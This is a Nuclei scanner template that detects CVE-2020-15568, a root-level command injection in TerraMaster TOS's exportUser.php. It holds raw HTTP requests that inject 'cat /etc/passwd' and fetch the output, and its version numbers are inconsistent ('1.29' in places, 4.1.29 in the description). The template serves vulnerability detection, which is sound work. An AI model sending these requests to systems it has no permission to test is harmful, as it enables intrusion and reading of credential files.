nuclei-templates/http/cves/2020/CVE-2020-15568.yaml

53 lines
1.9 KiB
YAML

id: CVE-2020-15568
info:
name: TerraMaster TOS <.1.29 - Remote Code Execution
author: pikpikcu
severity: critical
description: TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
remediation: |
Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
- https://help.terra-master.com/TOS/view/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-15568
cwe-id: CWE-913
epss-score: 0.96258
epss-percentile: 0.99363
cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: terra-master
product: tos
tags: cve,cve2020,terramaster,rce
variables:
filename: "{{to_lower(rand_text_alpha(4))}}"
http:
- raw:
- |
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /include/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022021e2de4acd9276e92455920676ded28a5f480de04f189bc61b29a410e1bc50af0220142f3ee2e4a86a8db7aaba7418a565f6629fcfc5be0a2eb27534bb70765dc776:922c64590222798bb761d5b6d8e72950